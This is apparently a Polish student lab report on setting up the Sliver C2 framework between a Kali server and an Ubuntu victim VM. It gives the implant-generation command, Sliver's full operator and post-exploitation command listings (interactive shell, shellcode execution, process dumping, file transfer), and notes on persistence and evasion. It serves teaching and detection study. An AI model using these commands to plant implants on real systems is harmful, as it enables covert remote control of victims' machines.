# Dokumentacja z laboratorium 5 z przedmiotu BOT <center>Laboratorium numer 5</center> <center> Michał Wawrzyńczak, Paweł Gryka</center> <center>08.06.2022</center> [Sliver v1.5.15](https://github.com/BishopFox/sliver/releases/tag/v1.5.15) [TOC] ## Środowisko testowe: ### Server C2 Jako serwer C2 wykorzystaliśmy maszynę wirtualną Kali Linux z zainstalowanymi wszystkimi wymaganymi narzędziami (metasploit oraz MinGW). Pobraliśmy i uruchomiliśmy na nim serwer linux z frameworku [Sliver v1.5.15](https://github.com/BishopFox/sliver/releases/tag/v1.5.15) ### Ofiara Maszyna wirtualna Ubuntu 20, znajdowała się w tej samej podsieci co serwer C2. Dodatkowo ustawiliśmy na niej w pliku `hosts` rozwiązywanie nazwy `cyber_wiki.com` na adres serwera C2 ## Generowanie przykładowego payloadu Na serwerze C2 uruchomiliśmy pobrany plik `sliver-server_linux` a następnie wykorzystując polecenie `generate --mtls cyber_wiki.com --save ~/Desktop/sliver --os linux` wygenerowaliśmy domyślny payload dla hostów z systemem operacyjnym linux, który uruchamia komunikację z serwerem wykorzystując protokół `mTLS` ![](https://i.imgur.com/13yfotN.png) ## Uruchomienie i obserwacje Na serwerze C2 uruchomiliśmy `mTLS listner`, a następnie umieściliśmy i uruchomiliśmy wygenerowany implant na hoscie ofiary. ![](https://i.imgur.com/6vCEGOX.png) W trakcie łączenia się ofiary do serwera obserwowaliśmy przesyłany ruch wykorzystując Wireshark'a. Użycie implantu mtls powoduje przesyłanie całej komunikacji C2 w sposób zaszyfrowany, oraz zapewnia wzajemną uwierzytelnienie ofiary z serwerem. Utrudnia to w znacznym stopniu próby detekcji i analizy. ![](https://i.imgur.com/NIBBBLx.png) ### Możliwości framework'u - Sliver udostępnia wiele poleceń umożliwiających generowanie różnego typu implantów z szeregiem dodatkowych opcji. Sliver umożliwia zarządzanie aktywnymi sesjami, uruchamianie nasłuchiwania nowych uruchomionych implantów. Dodatkowo w Silverze możliwy jest tryb multiplayer, który pozwala na zarządzanie serwerem przez kilku podłączonych użytkowników. ``` Commands: ========= clear clear the screen exit exit the shell help use 'help [command]' for command help monitor Monitor threat intel platforms for Sliver implants wg-config Generate a new WireGuard client config wg-portfwd List ports forwarded by the WireGuard tun interface wg-socks List socks servers listening on the WireGuard tun interface Generic: ======== aliases List current aliases armory Automatically download and install extensions/aliases background Background an active session beacons Manage beacons canaries List previously generated canaries dns Start a DNS listener env List environment variables generate Generate an implant binary hosts Manage the database of hosts http Start an HTTP listener https Start an HTTPS listener implants List implant builds jobs Job control licenses Open source licenses loot Manage the server's loot store mtls Start an mTLS listener prelude-operator Manage connection to Prelude's Operator profiles List existing profiles reaction Manage automatic reactions to events regenerate Regenerate an implant sessions Session management settings Manage client settings stage-listener Start a stager listener tasks Beacon task management update Check for updates use Switch the active session or beacon version Display version information websites Host static content (used with HTTP C2) wg Start a WireGuard listener Multiplayer: ============ kick-operator Kick an operator from the server multiplayer Enable multiplayer mode new-operator Create a new operator config file operators Manage operators ``` - Dostępne polecenia po nawiązaniu połączenia C2. Po nawiązaniu połączenie ofiary do serwera C2 możliwe jest użycie kilkudziesięciu poleceń. Dzięki poleceniu `shell` możliwe jest uruchomienie interaktywnej konsoli konta użytkownika ofiary. Umożliwia to atakującemu pełną kontrolę. Dodatkowo dostępne są polecenia, które znacznie ułatwiają podejmowanie działań takich jak transfery plików(`download`/`upload`) czy wykonywanie zrzutów ekranu(`screenshot`). Jest także możliwość uruchamiania payloadów z narzędzia `Metasploit` i wykonywanie dalszej eksploatacji (`Lateral Movement`) ``` Sliver: ======= cat Dump file to stdout cd Change directory close Close an interactive session without killing the remote process download Download a file execute Execute a program on the remote system execute-shellcode Executes the given shellcode in the sliver process extensions Manage extensions getgid Get session process GID getpid Get session pid getuid Get session process UID ifconfig View network interface configurations info Get info about session interactive Task a beacon to open an interactive session (Beacon only) kill Kill a session ls List current directory mkdir Make a directory msf Execute an MSF payload in the current process msf-inject Inject an MSF payload into a process mv Move or rename a file netstat Print network connection information ping Send round trip message to implant (does not use ICMP) pivots List pivots for active session portfwd In-band TCP port forwarding procdump Dump process memory ps List remote processes pwd Print working directory reconfig Reconfigure the active beacon/session rename Rename the active beacon/session rm Remove a file or directory screenshot Take a screenshot shell Start an interactive shell sideload Load and execute a shared object (shared library/DLL) in a remote process socks5 In-band SOCKS5 Proxy ssh Run a SSH command on a remote host terminate Terminate a process on the remote system upload Upload a file whoami Get session user execution context ``` ### Wykorzystanie możliwości Sliver'a. - **Persistence** Możliwe jest wykorzystanie poleceń dostępnych przez Sliver do zwiększenia trwałości dostępu do hosta ofiary. W tym celu można przykładowo wykorzystać opcje uruchomienia konsoli `shell`, a następnie ustawić cykliczne uruchamianie implantu. Można równie wykorzystać opcję `upload` aby wgrać i zainstalować dodatkowe oprogramowanie, pozwalające atakującemu na nawiązanie komunikacji w dowolnym momencie. Framework udstępnia wiele metod ochrony implantu przed wykryciem: obfuskacja, kompresja, szyfrowanie, miksowanie portów, steganografia, podszycie, odpowiedni model behawioralny. - Defense Evasion Framework Sliver obsługuje różne protokoły, które mogą zostac wykorzystane do utworzenia kanału C2. Dzięki Wykorzystaniu np. `Wireguard'a` lub protokołu `DNS` umożliwia to prób omijania zabezpieczeń (np. firewall'a). Dzięki zastosowaniu kopresji bądź szyfrowania możliwa jest próba ukrywania przed oprogramowaniem antywirusowym. Sliver umożliwia także wykonywanie payload'ów dostępnych w narzędziu `Metasploit`, pozwala to na dalszą eksploitację systemu i omijanie zabezbieczeń. Atakujący wykorzystując dostęp do konsoli użytkownika może spróbować uminąc zabezpieczenia działające na hoście ofiary. - Command and Control Sliver jako framework C2 umożliwia pełen zakres działać w obszarze komunikacji Command and Control. Możliwe jest stworzenie szyfrowanych kanałów, obfuskacji implantu czy tunelowania w różnych protokołach aplikacyjnych. ## Dodatkowe parametry konfiguracji Najbardziej zaciekawiły nas dwie dodatkowe opcje: - `evasion`, która powinna utrudniać wykrycie implantu przez ofiarę - `canaries`, która powinna w zobfuskowany kod wstrzyknąć podany ciąg znaków. Opcja ta mogłaby służyć do wykrzyknięcia tam nazwy jakieś domeny i obserwacji, czy ktoś nie pytał o nią DNS. Dzięki temu, dowiedzielibyśmy się gdyby ktoś odkrył implant. Poniżej przedstawiamy wygenerowany oraz uruchomiony implant używający obu tych opcji: ![](https://i.imgur.com/8uH8o9O.png) Niestety ku naszej rozpaczy, wydaje nam się, że opcje te nie działają. W `strings` pliku wykonywalnego implantu wciąż widoczne jest źródło `silver` a niewidoczny jest nasza wstrzyknięta domena: ![](https://i.imgur.com/QJ1mBJw.png) Co ciekawe, domena pojawia się przy wygenerowaniu implantu z opcją `-l skip symbol obfuscation` ale jeżeli dobrze zrozumieliśmy ideę opcji `canaries` nie tak to powinno działać. ## Wnioski i analiza? Narzędzie `sliver` wydaje się całkiem prostym sposobem na stworzenie C2. Mamy nadzieję, że zostało ono zbudowane raczej z myślą o "tej dobrej stronie", ale widzimy duży potencjał w użytkowaniu go przez przestępców. Myślimy, że można je porównać do noża, w złych rękach może wyrządzić dużo szkody. Wykorzystanie w prawdziwym ataku wydaje się prawdopodobne, jednakże raczej nie na dużą skalę, każdy porządny system antywirusowy powinien wykryć i rozpoznać sliver jako wirusa (Windows Defender zrobił to natychmiastowo). Może to wynikać na przykład z niedziałającej opcji `evasion` (przynajmniej w najnowszej wersji) - tutaj zaznaczamy, że niedziałanie sprawdzonych przez nas opcji mogło wynikać z naszych błędów. Wykorzystanie narzędzia `sliver` jest bardzo proste i potencjalny atakujący nie musi posiadać praktycznie żadnych umiejętności. Narzędzie może być używane do treningów zespołów red i blue, by oswoić je z metodami i technikami używanymi w C2. Wykrywanie takiego C2 nie jest niemożliwe, dobre modele AI powinny rozpoznać generowany ruch jako C2, dodatkowo przeskanowanie pliku też powinno skutkować rozpoznaniem go jako zagrożenie.